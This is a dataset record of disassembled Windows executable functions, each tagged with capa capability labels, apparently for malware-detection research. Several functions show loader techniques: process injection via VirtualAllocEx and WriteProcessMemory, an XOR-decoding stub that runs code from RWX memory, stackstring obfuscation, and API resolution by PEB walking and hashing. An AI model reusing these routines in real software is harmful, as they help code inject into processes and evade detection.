joyce8/EMBER2024-capa huggingface dataset:
Function at 0x436104
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x68
mov eax, dword [0x494240]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor edi, edi
mov ebx, ecx
cmp byte [ebp + 8], 0
mov dword [ebp - 0x60], edi
jne 0x436130
cmp dword [ebx + 8], edi
jne 0x43615e
mov al, 1
jmp 0x43624a
push edi
push 0x43c409
push 1
push 0x47be78
mov esi, 0x47bd9c
push esi
call fcn.00435b58
push 1
push 0x43c52d
push 1
push 0x47be8c
push esi
mov ecx, ebx
call fcn.00435b58
mov eax, dword [ebx]
push 1
push 0x2000
push 0x10000
mov eax, dword [eax]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
push eax
mov dword [ebp - 0x58], eax
call edi
mov esi, eax
mov eax, dword [ebx + 8]
shl eax, 6
add eax, 0x50
push eax
mov dword [ebp - 0x5c], eax
call fcn.00435d6e
pop ecx
mov ecx, eax
mov edx, 0xfffff000
and ecx, edx
and eax, 0xfff
add esi, ecx
mov dword [ebp - 0x64], eax
mov ecx, dword [ebp - 0x5c]
push 0x40
push 0x1000
add ecx, 0xfff
and ecx, edx
push ecx
push esi
push dword [ebp - 0x58]
call edi
mov esi, eax
test esi, esi
jne 0x4361c7
call fcn.00410e50
mov edi, dword [ebp - 0x64]
and dword [ebp - 0x48], 0
add edi, esi
mov esi, dword [ebp - 0x5c]
push 0x64
push 0
push 0x496468
mov dword [ebp - 0x54], esi
mov dword [ebp - 0x50], 0x10
call fcn.00447d70
add esp, 0xc
lea eax, [ebp - 0x54]
mov ecx, ebx
push eax
push esi
push edi
call fcn.00435ebd
test al, al
je 0x436248
lea eax, [ebp - 0x60]
push eax
push 0x10
lea eax, [ebp - 0x54]
push eax
push edi
push dword [ebp - 0x58]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x436248
cmp dword [ebp - 0x60], 0x10
jne 0x436248
lea eax, [ebp - 0x68]
push eax
push 0x20
push esi
push edi
push dword [ebp - 0x58]
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov ecx, dword [ebx]
push 0x64
push 0x496468
push 0x47bea4
call 0x431db3
neg eax
sbb eax, eax
inc eax
jmp 0x43624a
xor al, al
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004455d4
mov esp, ebp
pop ebp
ret 4

Function at 0x439e12
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 0x34]
push esi
push dword [ebp + 0x30]
push dword [ebp + 0x2c]
push dword [ebp + 0x28]
push dword [ebp + 0x24]
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x439ea2
cmp dword [ebp + 0xc], 0
mov eax, 0x101c01
push edi
mov edi, 0x100c43
je 0x439e57
mov eax, 0x1fffff
mov edi, eax
push 1
push 0
push eax
push esi
push dword [ebp + 8]
push dword [esi]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
test eax, eax
jne 0x439e80
push dword [esi + 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x439ea1
push 1
push 0
push edi
lea eax, [esi + 4]
push eax
push dword [ebp + 8]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
neg eax
sbb eax, eax
neg eax
pop edi
pop esi
pop ebp
ret
Function at 0x43b398
Capabilities:
Compare security identifiers

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x68
mov eax, dword [0x494240]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, ecx
mov dword [ebp - 0x68], eax
xor ecx, ecx
mov dword [ebp - 0x60], ecx
cmp byte [ebx + 0x2c], cl
jne 0x43b3c5
mov eax, 0x3f0
jmp 0x43b4f0
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
lea eax, [ebp - 0x54]
push eax
push ecx
push ecx
push 2
push dword [ebx + 0x24]
mov dword [ebp - 0x54], ecx
call edi
cmp dword [ebp - 0x54], 0
jne 0x43b3ed
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x43b4ef
push esi
push dword [ebp - 0x54]
call fcn.004442f3
pop ecx
mov esi, eax
lea eax, [ebp - 0x54]
push eax
push dword [ebp - 0x54]
push esi
push 2
push dword [ebx + 0x24]
call edi
test eax, eax
jne 0x43b41e
push esi
call fcn.00447953
pop ecx
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x43b4ee
xor eax, eax
mov dword [ebp - 0x50], eax
cmp dword [esi], eax
jbe 0x43b4e5
lea edi, [esi + 4]
mov dword [ebp - 0x60], 0x44
test byte [edi + 4], 0x20
jne 0x43b4d6
test dword [edi + 4], 0xc0000000
jne 0x43b4d6
mov ecx, dword [ebp - 0x68]
mov byte [ebp - 0x49], 0
test ecx, ecx
je 0x43b4b7
mov eax, dword [ecx + 4]
xor edx, edx
mov dword [ebp - 0x58], edx
mov edx, dword [ecx]
sub eax, edx
mov dword [ebp - 0x64], edx
push 0x44
cdq
pop ecx
idiv ecx
test eax, eax
je 0x43b4b4
xor ecx, ecx
mov dword [ebp - 0x5c], ecx
push dword [edi]
add ecx, dword [ebp - 0x64]
call fcn.00401ca0
push eax
call dword [sym.imp.ADVAPI32.dll_EqualSid]
test eax, eax
jne 0x43b4b0
mov ecx, dword [ebp - 0x5c]
push 0x44
pop eax
add ecx, eax
inc dword [ebp - 0x58]
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x5c], ecx
mov edx, dword [eax]
mov eax, dword [eax + 4]
sub eax, edx
mov dword [ebp - 0x64], edx
cdq
idiv dword [ebp - 0x60]
cmp dword [ebp - 0x58], eax
jb 0x43b475
jmp 0x43b4b4
mov byte [ebp - 0x49], 1
mov eax, dword [ebp - 0x50]
cmp byte [ebp - 0x49], 0
jne 0x43b4d6
push dword [edi]
lea ecx, [ebp - 0x48]
call fcn.0043b304
lea eax, [ebp - 0x48]
push eax
lea ecx, [ebx + 0x18]
call fcn.0043423f
mov eax, dword [ebp - 0x50]
inc eax
add edi, 8
mov dword [ebp - 0x50], eax
cmp eax, dword [esi]
jb 0x43b435
push esi
call fcn.00447953
pop ecx
xor eax, eax
pop esi
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.004455d4
mov esp, ebp
pop ebp
ret 4
Function at 0x43b7d3
Capabilities:
Get token privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push edi
mov edi, ecx
xor ecx, ecx
mov dword [ebp - 0x14], ecx
cmp byte [edi + 0x2c], cl
jne 0x43b7f0
mov eax, 0x3f0
jmp 0x43b8f3
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
lea eax, [ebp - 4]
push eax
push ecx
push ecx
push 3
push dword [edi + 0x24]
mov dword [ebp - 4], ecx
call ebx
cmp dword [ebp - 4], 0
jne 0x43b818
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x43b8f2
push esi
push dword [ebp - 4]
call fcn.004442f3
pop ecx
mov esi, eax
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push esi
push 3
push dword [edi + 0x24]
call ebx
test eax, eax
jne 0x43b849
push esi
call fcn.00447953
pop ecx
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x43b8f1
and dword [ebp - 0x14], 0
cmp dword [esi], 0
jbe 0x43b8e8
lea ebx, [esi + 4]
mov dword [ebp - 0x10], 0x18
mov ecx, dword [ebp + 8]
test ecx, ecx
je 0x43b8cd
mov eax, dword [ecx + 4]
xor edx, edx
mov ecx, dword [ecx]
sub eax, ecx
mov dword [ebp - 8], edx
cdq
idiv dword [ebp - 0x10]
test eax, eax
je 0x43b8cd
xor eax, eax
mov dword [ebp - 0xc], eax
and dword [ebp - 0x1c], 0
add eax, ecx
and dword [ebp - 0x18], 0
cmp dword [eax + 0x14], 8
jb 0x43b892
mov eax, dword [eax]
lea ecx, [ebp - 0x1c]
push ecx
push eax
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
mov eax, dword [ebx + 4]
cmp eax, dword [ebp - 0x18]
jne 0x43b8ae
mov eax, dword [ebx]
cmp eax, dword [ebp - 0x1c]
je 0x43b8d6
push 0x18
pop eax
add dword [ebp - 0xc], eax
mov eax, dword [ebp + 8]
inc dword [ebp - 8]
mov ecx, dword [eax]
mov eax, dword [eax + 4]
sub eax, ecx
cdq
idiv dword [ebp - 0x10]
cmp dword [ebp - 8], eax
mov eax, dword [ebp - 0xc]
jb 0x43b880
push ebx
lea ecx, [edi + 0xc]
call fcn.0043bd1d
mov eax, dword [ebp - 0x14]
add ebx, 0xc
inc eax
mov dword [ebp - 0x14], eax
cmp eax, dword [esi]
jb 0x43b860
push esi
call fcn.00447953
pop ecx
xor eax, eax
pop esi
pop ebx
pop edi
mov esp, ebp
pop ebp
ret 4
Function at 0x45d518
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x494240]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.0044dd57
mov dword [ebp - 0x14], eax
cmp dword [0x49777c], esi
jne 0x45d60b
push 0x800
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x45d598
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x45d6eb
push esi
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x45d6eb
push 0x48b83c
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x45d6eb
push eax
call ebx
push str.GetActiveWindow
push edi
mov dword [0x49777c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push edi
mov dword [0x497780], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push 0x48b86c
push edi
mov dword [0x497784], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x49778c], eax
test eax, eax
je 0x45d608
push 0x48b888
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x497788], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x45d630
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x45d623
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x45d645
push 4
pop eax
jmp 0x45d6ed
cmp dword [ebp - 0x14], esi
je 0x45d645
push dword [0x49777c]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x45d62a
mov eax, dword [0x497788]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x45d6a3
cmp dword [0x49778c], edi
je 0x45d6a3
push eax
call ebx
push dword [0x49778c]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x45d6a3
test eax, eax
je 0x45d6a3
call ecx
test eax, eax
je 0x45d698
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x45d698
test byte [ebp - 8], 1
jne 0x45d6a3
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x45d6d3
mov eax, dword [0x497780]
cmp eax, edi
je 0x45d6d0
push eax
call ebx
test eax, eax
je 0x45d6d0
call eax
mov esi, eax
test esi, esi
je 0x45d6d0
mov eax, dword [0x497784]
cmp eax, edi
je 0x45d6d0
push eax
call ebx
test eax, eax
je 0x45d6d0
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x49777c]
call ebx
test eax, eax
je 0x45d6eb
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x45d6ed
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004455d4
mov esp, ebp
pop ebp
ret
Function at 0x401ee2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x411280]
jne 0x401eec
repz ret
jmp fcn.00404399

Function at 0x407320
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
pushal
call 0x40732f
pop dword [ebp - 0x28]
mov eax, 0x7783bab8
add eax, 0x88bcb877
sub dword [ebp - 0x28], eax
push 0x40
push 0x1000
push 0x37ad4
push 0
mov eax, 0xaf1787b5
add eax, 0x51295923
add eax, dword [ebp - 0x28]
call dword [eax]
mov ecx, 0x4a6f5f6c
sub ecx, 0x4a6f1ddd
mov edx, eax
mov edi, 0xe973222d
add edi, 0x16ce1997
add edi, dword [ebp - 0x28]
mov esi, 0x590d0c60
add esi, 0xc2a4db9b
mov ebx, dword [edi]
sub dword [ebp - 4], 0xac3bebd2
xor ebx, esi
xor dword [ebp - 8], ebx
mov dword [edx], ebx
sub dword [ebp - 8], 0xf00a26e9
add edx, 0x15269021
add edx, 0xead96fe3
add edi, 4
loop 0x40738e
add eax, 0xf90f
mov ebx, eax
add eax, 0xbbf71601
sub eax, 0xbbf715fc
mov ecx, 0xedd3d8f4
add ecx, 0x126c270c
add ecx, dword [ebp - 0x28]
call ebx
leave
ret
Function at 0x401138
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40eb8a
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
sub esp, 0x38
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov byte [ebp - 0x30], 0x48
mov byte [ebp - 0x2f], 0x65
mov byte [ebp - 0x2e], 0x61
mov byte [ebp - 0x2d], 0x70
mov byte [ebp - 0x2c], 0x46
mov byte [ebp - 0x2b], 0x72
mov byte [ebp - 0x2a], 0x65
mov byte [ebp - 0x29], 0x65
mov byte [ebp - 0x28], 0
mov byte [ebp - 0x40], 0x4b
mov byte [ebp - 0x3f], 0x45
mov byte [ebp - 0x3e], 0x52
mov byte [ebp - 0x3d], 0x4e
mov byte [ebp - 0x3c], 0x45
mov byte [ebp - 0x3b], 0x4c
mov byte [ebp - 0x3a], 0x33
mov byte [ebp - 0x39], 0x32
mov byte [ebp - 0x38], 0x2e
mov byte [ebp - 0x37], 0x64
mov byte [ebp - 0x36], 0x6c
mov byte [ebp - 0x35], 0x6c
mov byte [ebp - 0x34], 0
push 0x45adc8
push 0x45add4
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov dword [ebp - 0x44], eax
mov byte [ebp - 0x20], 0x47
mov byte [ebp - 0x1f], 0x65
mov byte [ebp - 0x1e], 0x74
mov byte [ebp - 0x1d], 0x50
mov byte [ebp - 0x1c], 0x72
mov byte [ebp - 0x1b], 0x6f
mov byte [ebp - 0x1a], 0x63
mov byte [ebp - 0x19], 0x65
mov byte [ebp - 0x18], 0x73
mov byte [ebp - 0x17], 0x73
mov byte [ebp - 0x16], 0x48
mov byte [ebp - 0x15], 0x65
mov byte [ebp - 0x14], 0x61
mov byte [ebp - 0x13], 0x70
mov byte [ebp - 0x12], 0
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 0x40]
push ecx
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov dword [ebp - 0x24], eax
nop
nop
nop
nop
nop
mov dword [ebp - 4], 0
mov edx, 1
test edx, edx
je 0x40124a
mov dword [ebp - 0x48], 0x63
push 0x410070
lea eax, [ebp - 0x48]
push eax
call fcn.00402e70
jmp 0x401263
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40189d
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40eba8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
sub esp, 0x40
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov byte [ebp - 0x48], 0x4b
mov byte [ebp - 0x47], 0x45
mov byte [ebp - 0x46], 0x52
mov byte [ebp - 0x45], 0x4e
mov byte [ebp - 0x44], 0x45
mov byte [ebp - 0x43], 0x4c
mov byte [ebp - 0x42], 0x33
mov byte [ebp - 0x41], 0x32
mov byte [ebp - 0x40], 0x2e
mov byte [ebp - 0x3f], 0x64
mov byte [ebp - 0x3e], 0x6c
mov byte [ebp - 0x3d], 0x6c
mov byte [ebp - 0x3c], 0
mov byte [ebp - 0x30], 0x56
mov byte [ebp - 0x2f], 0x69
mov byte [ebp - 0x2e], 0x72
mov byte [ebp - 0x2d], 0x74
mov byte [ebp - 0x2c], 0x75
mov byte [ebp - 0x2b], 0x61
mov byte [ebp - 0x2a], 0x6c
mov byte [ebp - 0x29], 0x41
mov byte [ebp - 0x28], 0x6c
mov byte [ebp - 0x27], 0x6c
mov byte [ebp - 0x26], 0x6f
mov byte [ebp - 0x25], 0x63
mov byte [ebp - 0x24], 0
push str.VirtualAlloc
push 0x45ae98
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov dword [ebp - 0x20], eax
nop
nop
nop
inc eax
dec ebx
dec eax
inc ebx
mov eax, dword [ebp + 0x10]
mov ecx, dword [eax + 4]
mov dword [ebp - 0x34], ecx
mov edx, dword [ebp + 0x10]
mov eax, dword [edx]
xor ecx, ecx
mov cx, word [eax + 0x14]
mov edx, dword [ebp + 0x10]
mov eax, dword [edx]
lea ecx, [eax + ecx + 0x18]
mov dword [ebp - 0x18], ecx
mov dword [ebp - 4], 0
mov edx, 1
test edx, edx
je 0x40198d
mov dword [ebp - 0x4c], 0x50
push 0x410070
lea eax, [ebp - 0x4c]
push eax
call fcn.00402e70
jmp 0x401aa6
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401abe
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40ebb2
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
sub esp, 0x3c
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
push str.VirtualFree
push 0x45aeb4
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov dword [ebp - 0x14], eax
nop
nop
nop
nop
nop
mov byte [ebp - 0x30], 0x56
mov byte [ebp - 0x2f], 0x69
mov byte [ebp - 0x2e], 0x72
mov byte [ebp - 0x2d], 0x74
mov byte [ebp - 0x2c], 0x75
mov byte [ebp - 0x2b], 0x61
mov byte [ebp - 0x2a], 0x6c
mov byte [ebp - 0x29], 0x50
mov byte [ebp - 0x28], 0x72
mov byte [ebp - 0x27], 0x6f
mov byte [ebp - 0x26], 0x74
mov byte [ebp - 0x25], 0x65
mov byte [ebp - 0x24], 0x63
mov byte [ebp - 0x23], 0x74
mov byte [ebp - 0x22], 0
push str.VirtualProtect
push 0x45aed4
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
xor edx, edx
mov dx, word [ecx + 0x14]
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
lea edx, [ecx + edx + 0x18]
mov dword [ebp - 0x18], edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov dword [ebp - 4], 0
mov eax, 1
test eax, eax
je 0x401b9a
mov dword [ebp - 0x4c], 0x40
push 0x410070
lea ecx, [ebp - 0x4c]
push ecx
call fcn.00402e70
jmp 0x401cfc
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x402310
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40ebda
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
sub esp, 0x38
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
push str.HeapFree
push str.kernel32.dll
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov dword [ebp - 0x40], eax
nop
nop
nop
inc eax
dec ebx
dec eax
inc ebx
mov byte [ebp - 0x3c], 0x4b
mov byte [ebp - 0x3b], 0x45
mov byte [ebp - 0x3a], 0x52
mov byte [ebp - 0x39], 0x4e
mov byte [ebp - 0x38], 0x45
mov byte [ebp - 0x37], 0x4c
mov byte [ebp - 0x36], 0x33
mov byte [ebp - 0x35], 0x32
mov byte [ebp - 0x34], 0x2e
mov byte [ebp - 0x33], 0x64
mov byte [ebp - 0x32], 0x6c
mov byte [ebp - 0x31], 0x6c
mov byte [ebp - 0x30], 0
mov byte [ebp - 0x1c], 0x56
mov byte [ebp - 0x1b], 0x69
mov byte [ebp - 0x1a], 0x72
mov byte [ebp - 0x19], 0x74
mov byte [ebp - 0x18], 0x75
mov byte [ebp - 0x17], 0x61
mov byte [ebp - 0x16], 0x6c
mov byte [ebp - 0x15], 0x46
mov byte [ebp - 0x14], 0x72
mov byte [ebp - 0x13], 0x65
mov byte [ebp - 0x12], 0x65
mov byte [ebp - 0x11], 0
lea eax, [ebp - 0x1c]
push eax
lea ecx, [ebp - 0x3c]
push ecx
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov dword [ebp - 0x20], eax
push str.GetProcessHeap
push str.KERNEL32.dll
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov dword [ebp - 0x24], eax
nop
nop
nop
nop
nop
nop
mov edx, dword [ebp + 8]
mov dword [ebp - 0x28], edx
nop
nop
mov dword [ebp - 4], 0
mov eax, 1
test eax, eax
je 0x40241c
mov dword [ebp - 0x48], 0x44
push 0x410070
lea ecx, [ebp - 0x48]
push ecx
call fcn.00402e70
jmp 0x4024f8
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x412d78
Capabilities:
Hash data using sha1

Disassembly:
push ebp
mov ebp, esp
sub esp, 4
cmp dword [ebp + 8], 0x14
jge 0x412d9a
mov eax, 0x5a827999
jmp 0x412dd6
cmp dword [ebp + 8], 0x28
jge 0x412db3
mov eax, 0x6ed9eba1
jmp 0x412dd6
cmp dword [ebp + 8], 0x3c
jge 0x412dcc
mov eax, 0x8f1bbcdc
jmp 0x412dd6
mov eax, 0xca62c1d6
jmp 0x412dd6
mov esp, ebp
pop ebp
ret 4
Function at 0x4552c1
Capabilities:
Access peb ldr_data
Resolve function by hash

Disassembly:
push ebp
mov ebp, esp
cld
xor edx, edx
mov edx, dword fs:[edx + 0x30]
mov edx, dword [edx + 0xc]
mov edx, dword [edx + 0x14]
mov esi, dword [edx + 0x28]
push 0x18
pop ecx
xor edi, edi
xor eax, eax
lodsb al, byte [esi]
cmp al, 0x61
jl 0x4552e2
sub al, 0x20
ror edi, 0xd
add edi, eax
loop 0x4552d9
cmp edi, 0x6a4abc5b
mov ebx, dword [edx + 0x10]
mov edx, dword [edx]
jne 0x4552d1
mov eax, ebx
leave
ret

Function at 0x455308
Capabilities:
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push esi
push ebx
push edi
push edx
push ecx
mov eax, dword [ebp + 0xc]
xor edx, edx
xchg edx, eax
mov esi, 0x3c
add esi, dword [ebp + 8]
mov eax, dword [esi]
add eax, dword [ebp + 8]
mov esi, dword [eax + 0x78]
add esi, 0x18
add esi, dword [ebp + 8]
mov eax, dword [esi]
mov dword [ebp - 0x14], eax
add esi, 4
lea edi, [ebp - 8]
lodsd eax, dword [esi]
add eax, dword [ebp + 8]
stosd dword es:[edi], eax
mov dword [ebp - 8], eax
lodsd eax, dword [esi]
add eax, dword [ebp + 8]
push eax
stosd dword es:[edi], eax
mov dword [ebp - 0xc], eax
mov eax, dword [esi]
add eax, dword [ebp + 8]
mov dword [ebp - 0x10], eax
pop esi
mov dword [ebp - 4], 0
push esi
mov eax, dword [esi]
add eax, dword [ebp + 8]
xchg edi, eax
mov ebx, edi
push edi
xor al, al
scasb al, byte es:[edi]
jne 0x455367
pop esi
sub edi, ebx
push edx
cld
xor ecx, ecx
dec ecx
mov edx, ecx
xor eax, eax
xor ebx, ebx
lodsb al, byte [esi]
xor al, cl
mov cl, ch
mov ch, dl
mov dl, dh
mov dh, 8
shr bx, 1
rcr ax, 1
jae 0x455394
xor ax, 0x8320
xor bx, 0xedb8
dec dh
jne 0x455383
xor ecx, eax
xor edx, ebx
dec edi
jne 0x455374
not edx
not ecx
mov eax, edx
rol eax, 0x10
mov ax, cx
pop edx
cmp edx, eax
je 0x4553ba
pop esi
add esi, 4
add dword [ebp - 4], 1
jmp 0x45535b
pop esi
mov eax, dword [ebp - 4]
shl eax, 1
add eax, dword [ebp - 0x10]
xor esi, esi
xchg esi, eax
mov ax, word [esi]
shl ax, 2
add eax, dword [ebp - 8]
xchg esi, eax
mov eax, dword [esi]
add eax, dword [ebp + 8]
pop ecx
pop edx
pop edi
pop ebx
pop esi
leave
ret 8
Function at 0x456733
Capabilities:
Access peb ldr_data
Get number of processors

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
mov eax, 0x6b
mov word [ebp - 0x24], ax
mov ecx, 0x65
mov word [ebp - 0x22], cx
mov edx, 0x72
mov word [ebp - 0x20], dx
mov eax, 0x6e
mov word [ebp - 0x1e], ax
mov ecx, 0x65
mov word [ebp - 0x1c], cx
mov edx, 0x6c
mov word [ebp - 0x1a], dx
mov eax, 0x33
mov word [ebp - 0x18], ax
mov ecx, 0x32
mov word [ebp - 0x16], cx
mov edx, 0x2e
mov word [ebp - 0x14], dx
mov eax, 0x64
mov word [ebp - 0x12], ax
mov ecx, 0x6c
mov word [ebp - 0x10], cx
mov edx, 0x6c
mov word [ebp - 0xe], dx
xor eax, eax
mov word [ebp - 0xc], ax
mov dword [ebp - 4], 0
mov ebx, dword fs:[0x30]
mov ebx, dword [ebx + 0xc]
mov ebx, dword [ebx + 0x14]
mov eax, dword [ebx + 0x28]
test eax, eax
je 0x4567e7
mov dword [ebp - 8], eax
lea ecx, [ebp - 0x24]
push ecx
mov edx, dword [ebp - 8]
push edx
call fcn.004566c3
add esp, 8
cmp eax, 0
mov eax, dword [ebx + 0x10]
mov ebx, dword [ebx]
jne 0x4567c0
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4567f3
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x14
push ebp
push edi
mov edi, ecx
mov ebp, edx
test edi, edi
je 0x45680e
test ebp, ebp
je 0x45680e
mov eax, dword [edi + 0x3c]
cmp dword [eax + edi + 0x7c], 0
jne 0x456816
pop edi
xor eax, eax
pop ebp
add esp, 0x14
ret
mov eax, dword [eax + edi + 0x78]
add eax, edi
push ebx
mov ecx, dword [eax + 0x20]
mov edx, dword [eax + 0x24]
mov ebx, dword [eax + 0x14]
add ecx, edi
mov dword [esp + 0x10], ecx
push esi
mov esi, dword [eax + 0x1c]
mov ecx, ebp
sub ecx, dword [eax + 0x10]
add esi, edi
add edx, edi
mov dword [esp + 0x20], esi
mov dword [esp + 0x1c], edx
mov dword [esp + 0x10], ebx
cmp ecx, ebx
ja 0x456856
mov eax, dword [esi + ecx*4]
pop esi
pop ebx
add eax, edi
pop edi
pop ebp
add esp, 0x14
ret
mov eax, dword [eax + 0x18]
xor esi, esi
mov dword [esp + 0x18], eax
test eax, eax
je 0x4568b2
mov ecx, ebx
movzx ebx, word [edx + esi*2]
cmp ebx, ecx
ja 0x4568ad
mov eax, dword [esp + 0x14]
mov ecx, ebp
mov eax, dword [eax + esi*4]
add eax, edi
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x456898
test dl, dl
je 0x456894
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x456898
add ecx, 2
add eax, 2
test dl, dl
jne 0x456878
xor eax, eax
jmp 0x45689d
